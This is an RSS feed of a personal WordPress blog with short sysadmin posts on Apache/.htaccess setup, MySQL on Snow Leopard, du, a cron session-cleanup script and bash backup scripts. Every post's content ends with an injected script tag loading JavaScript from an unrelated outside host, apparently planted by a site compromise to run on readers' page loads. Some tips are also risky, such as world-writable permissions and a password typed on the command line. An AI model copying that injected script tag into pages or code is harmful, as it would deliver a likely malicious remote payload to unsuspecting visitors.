<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>random() &#187; Bash Linux &amp; Apache</title>
	<atom:link href="http://blog.maxgarfinkel.com/archives/category/web-programming/bash-linux-apache/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.maxgarfinkel.com</link>
	<description>All sorts, who knows?</description>
	<lastBuildDate>Thu, 19 Aug 2010 20:07:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Setting up wordpress on snowleopard</title>
		<link>http://blog.maxgarfinkel.com/archives/130</link>
		<comments>http://blog.maxgarfinkel.com/archives/130#comments</comments>
		<pubDate>Sat, 10 Oct 2009 10:41:55 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>
		<category><![CDATA[Web programming]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=130</guid>
		<description><![CDATA[I have been configuring a local site to do wordpress dev on snow leopard. I ran into problems when trying to configure the url rewriting. I found a great post however it didn&#8217;t quite get it working so here is what I had to do. change the httpd.conf file. This is located in etc/apache2/httpd.conf open it [...]]]></description>
			<content:encoded><![CDATA[<p>I have been configuring a local site to do wordpress dev on snow leopard. I ran into problems when trying to configure the url rewriting. I found a <a title="setting up .htaccess in snow leopard" href="http://www.clagnut.com/blog/350/" target="_blank">great post </a> however it didn&#8217;t quite get it working so here is what I had to do.</p>
<ol>
<li>change the httpd.conf file. This is located in etc/apache2/httpd.conf open it in something like nano

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">nano</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>apache2<span style="color: #000000; font-weight: bold;">/</span>httpd.conf</pre></div></div>

<p>            Find the section that looks like this</p>
<pre>&#60Directory /&#62
    Options FollowSymLinks
    AllowOverride None
    Order deny,allow
    Deny from all
&#60/Directory&#62</pre>
<p>and change the<b> AllowOverride None</b> to<b> AllowOverride All</b>
        </li>
<li>Next up we need to change the conf file for the user that requires .htaccess. This is done by navigating to /etc/apache2/users/ and finding the file <em>username</em>.conf. This needs to be edited in something like nano again to look like this:
<pre>&#60Directory "/Users/maxgarfinkel/Sites/"&#62
    Options Indexes MultiViews FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from all
&#60/Directory&#62
</pre>
<p>It was the lack of <b>FollowSymLinks</b> that caused me to get Forbidden errors on the site.
</li>
<li>Finally we need to create the .htaccess file in the sites folder and if you want wordpress to be able to write to it you should make it writeable by every one. This is bad so only do it on machine <b>not</b> exposed to the world! The command for that is

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">chmod</span> <span style="color: #000000;">666</span></pre></div></div>

<p> If anyone knows the safe permissions to allow wordpress to write to the .htaccess but not any tom dick or harry, lemme know!</li>
</ol>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/130/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress › Support » Snow Leopard, Apache, PHP, MySQL and WordPress!</title>
		<link>http://blog.maxgarfinkel.com/archives/124</link>
		<comments>http://blog.maxgarfinkel.com/archives/124#comments</comments>
		<pubDate>Sun, 04 Oct 2009 21:08:05 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>
		<category><![CDATA[Web programming]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=124</guid>
		<description><![CDATA[Great article on getting php mysql running on Snow Leopord. One caveat however, the poster talks about renaming the mysql folder in /usr/local/. In the comments other users point out that you shouldn&#8217;t do this, instead you should create a symbolic link to this folder. So Instead of renaming the folder mysql-5.0.77-osx10.5-x86_32 to mysql you [...]]]></description>
			<content:encoded><![CDATA[<p>Great article on getting php mysql running on Snow Leopord. One caveat however, the poster talks about renaming the mysql folder in /usr/local/. In the comments other users point out that you shouldn&#8217;t do this, instead you should create a symbolic link to this folder.</p>
<p>So Instead of renaming the folder <em>mysql-5.0.77-osx10.5-x86_32</em> to <em>mysql</em> you should create a symbolic link called <em>mysql </em> that points to the <em>mysql-5.0.77-osx10.5-x86_32 </em>folder. Further more you might run into problems if you use the folder <em>mysql-5.0.77-osx10.5-x86_32 </em>as this is the 32bit version. I had a version named <em>mysql-5.1.35-osx10.5-x86_64 </em>which is both a newer version and 64 bit. This is the reason for creating the symbolic link I guess, so you can keep multiple versions of mysql, nicely labeled and activate the one you need. Once I set this up everything was worked great.</p>
<p><a href="http://wordpress.org/support/topic/306878">WordPress › Support » Snow Leopard, Apache, PHP, MySQL and WordPress!</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/124/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bash: Deleting a directory</title>
		<link>http://blog.maxgarfinkel.com/archives/30</link>
		<comments>http://blog.maxgarfinkel.com/archives/30#comments</comments>
		<pubDate>Thu, 26 Jun 2008 13:47:53 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=30</guid>
		<description><![CDATA[rm -r /directory/]]></description>
			<content:encoded><![CDATA[<p>rm -r /directory/<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/30/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bash: Get folder size</title>
		<link>http://blog.maxgarfinkel.com/archives/29</link>
		<comments>http://blog.maxgarfinkel.com/archives/29#comments</comments>
		<pubDate>Thu, 26 Jun 2008 13:35:42 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=29</guid>
		<description><![CDATA[du &#8211; estimate file space usage du -options /path/to/file/or/folder -a all files, write out all files with there size. -h human readable e.g. 100k or 2M or 3G, etc -s summarize, just the total. e.g. du -sh would output the size of the current directory.]]></description>
			<content:encoded><![CDATA[<p><strong>du</strong> &#8211; estimate file space usage<br />
du -options /path/to/file/or/folder</p>
<ul>
<li> -a all files, write out all files with there size.</li>
<li> -h human readable e.g. 100k or 2M or 3G, etc</li>
<li>-s summarize, just the total.</li>
</ul>
<p>e.g.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">du</span> <span style="color: #660033;">-sh</span></pre></div></div>

<p> would output the size of the current directory.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/29/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>bash session killer</title>
		<link>http://blog.maxgarfinkel.com/archives/11</link>
		<comments>http://blog.maxgarfinkel.com/archives/11#comments</comments>
		<pubDate>Sat, 12 May 2007 13:52:29 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/archives/11</guid>
		<description><![CDATA[I ran into a problem with a site I&#8217;m building that will run on shared hosting. I wanted to use sessions in php but because of the hosting my sessions kept being unexpectedly ended. The solution was to define a new folder on the server for the sessions to be stored in. This was done [...]]]></description>
			<content:encoded><![CDATA[<p>I ran into a problem with a site I&#8217;m  building that will run on shared hosting. I wanted to use sessions in php but because of the hosting my sessions kept being unexpectedly ended. The solution was to define a new folder on the server for the sessions to be stored in. This was done with the php.ini configuration file.</p>
<p>However this lead to another problem &#8211; the session files just seemed to get left on the server. As I understand it this is because the garbage collection mechanism in php won&#8217;t work if you change the folder where session files are stored.</p>
<p>The solution was in a little bit of BASH scripting. Basically the script is run by the cron tab at a sensible interval. When it runs it checks the directory specified and deletes anything older than the number of mins specified.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#! /bin/bash</span>
<span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>path<span style="color: #000000; font-weight: bold;">/</span>to<span style="color: #000000; font-weight: bold;">/</span>folder<span style="color: #000000; font-weight: bold;">/</span>; <span style="color: #c20cb9; font-weight: bold;">find</span> <span style="color: #660033;">-cmin</span> +<span style="color: #000000;">60</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">xargs</span> <span style="color: #c20cb9; font-weight: bold;">rm</span></pre></td></tr></table></div>

<p>A word of warning, make sure you get the path right. First time round I didn&#8217;t and it deleted EVERYTHING it could on my server. I lost all development work and a live site. So back up and use with caution. Still at least it proved my backup strategy works <img src='http://blog.maxgarfinkel.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Don&#8217;t forget to make the .sh file executable (744) did it for me.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/11/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rewriting URLs or mod_rewrite</title>
		<link>http://blog.maxgarfinkel.com/archives/10</link>
		<comments>http://blog.maxgarfinkel.com/archives/10#comments</comments>
		<pubDate>Thu, 26 Apr 2007 21:13:29 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/archives/10</guid>
		<description><![CDATA[I started work on creating search engine friendly urls today with the help of the apache webservers mod_rewrite functions. Turned out to be both harder and easier than I expected! A great help was the site modrewrite.com. I want to write properly about what I found out today but its a tad late so I [...]]]></description>
			<content:encoded><![CDATA[<p>I started work on creating search engine friendly urls today with the help of the apache webservers mod_rewrite functions. Turned out to be both harder and easier than I expected! A great help was the site <a href="http://www.modrewrite.com/" title="A forum and informational site on mod_rewrite" target="_blank">modrewrite.com</a>.</p>
<p>I want to write properly about what I found out today but its a tad late so I save that for the next post. Just as a reminder to myself though remember you will need to cover <a href="http://en.wikipedia.org/wiki/Regular_expression" title="Yikeees an in depth explaination" target="_blank">regular expressions</a>, using multiple rules to catch different variable arrangements, and the knock on problems of a rewrite rule &#8211; namely loading images, style sheets and javascripts.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/10/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bash backup scripts including mysql backup</title>
		<link>http://blog.maxgarfinkel.com/archives/9</link>
		<comments>http://blog.maxgarfinkel.com/archives/9#comments</comments>
		<pubDate>Thu, 12 Apr 2007 21:02:50 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/archives/9</guid>
		<description><![CDATA[I run a few database-driven sites and when I developed them I needed a script to back up the uploaded files and database. To make restoring the site easier, I basically just archived the whole site including the database. My back-up strategy was two part: Part one: A script on the web-server dumps the database [...]]]></description>
			<content:encoded><![CDATA[<p>I run a few database-driven sites and when I developed them I needed a  script to back up the uploaded files and database. To make restoring the site easier, I basically just archived the whole site including the database. My back-up strategy was two part:</p>
<p>Part one:</p>
<p>A script on the web-server dumps the database into a text-file, and then combines that with a copy of the website contents and creates a compressed archive. I rename the last archive, if it exists, and delete any older ones. This means I only ever keep 2 back-ups on the live server. This script is controlled by the <a title="wikipedia entry" href="http://en.wikipedia.org/wiki/Crontab" target="_blank">cron tab</a>.</p>
<p>Part two:</p>
<p>A script on my machine at home, again controlled by the cron tab, executes. This connects to the remote server, and downloads the archive via <a title="wikipedia entry" href="http://en.wikipedia.org/wiki/Secure_copy">scp</a>, naming the archive using the current date.</p>
<p>It&#8217;s a fairly low-tech solution, but its simple and it works for me. The only tricky bit was setting up <a title="good tutorial" href="http://nosheep.net/story/password-less-ssh-login/" target="_blank">passwordless ssh login</a> so the script in part 2 could access the live server. It was a tad involved but I used the instructions <a title="good tutorial" href="http://nosheep.net/story/password-less-ssh-login/" target="_blank">here</a>. Also don&#8217;t forget to make the script exicutable!</p>
<p>Script one (Sits on the remote server)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">&nbsp;
<span style="color: #666666; font-style: italic;">#! /bin/bash</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;">#Variables</span>
<span style="color: #007800;">directory_to_backup</span>=<span style="color: #ff0000;">&quot;/dir/on/remote/server&quot;</span>
<span style="color: #007800;">backup_name</span>=<span style="color: #ff0000;">&quot;/path/and/name/of/archive1.tar&quot;</span>
<span style="color: #007800;">backup_old</span>=<span style="color: #ff0000;">&quot;/path/and/name/of/archive2.tar&quot;</span>
<span style="color: #007800;">db</span>=<span style="color: #ff0000;">&quot;/path/and/name/of/database/archive.tar&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># If old backup exists remove it</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-e</span> <span style="color: #007800;">$backup_name</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000; font-weight: bold;">then</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-e</span> <span style="color: #007800;">$backup_old</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>
    <span style="color: #000000; font-weight: bold;">then</span>
        <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$backup_old</span>
    <span style="color: #000000; font-weight: bold;">fi</span>
    <span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #007800;">$backup_name</span> <span style="color: #007800;">$backup_old</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #666666; font-style: italic;"># dump the DB</span>
mysqldump <span style="color: #660033;">-u</span> yourDbUsername <span style="color: #660033;">-pyourDbPassword</span> <span style="color: #660033;">-h</span> databaseHostName databaseName <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #007800;">$db</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># create archive</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-e</span> dbbackup.sql <span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000; font-weight: bold;">then</span>
    <span style="color: #c20cb9; font-weight: bold;">tar</span> <span style="color: #660033;">-czvf</span> <span style="color: #007800;">$backup_name</span> <span style="color: #007800;">$directory_to_backup</span> <span style="color: #007800;">$db</span>
<span style="color: #000000; font-weight: bold;">else</span>
    <span style="color: #c20cb9; font-weight: bold;">tar</span> <span style="color: #660033;">-czvf</span> <span style="color: #007800;">$backup_name</span> <span style="color: #007800;">$directory_to_backup</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#remove DB backup</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$db</span></pre></td></tr></table></div>

<p>Script two (sits on backup server)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#! /bin/bash</span>
<span style="color: #007800;">filename</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">date</span> +<span style="color: #000000; font-weight: bold;">%</span>y.<span style="color: #000000; font-weight: bold;">%</span>m.<span style="color: #000000; font-weight: bold;">%</span>d.tar<span style="color: #000000; font-weight: bold;">`</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">scp</span> USERNAME<span style="color: #000000; font-weight: bold;">@</span>HOST.COM:<span style="color: #000000; font-weight: bold;">/</span>remote<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">file</span> local<span style="color: #000000; font-weight: bold;">/</span>copy<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$filename</span></pre></td></tr></table></div>

<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/9/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
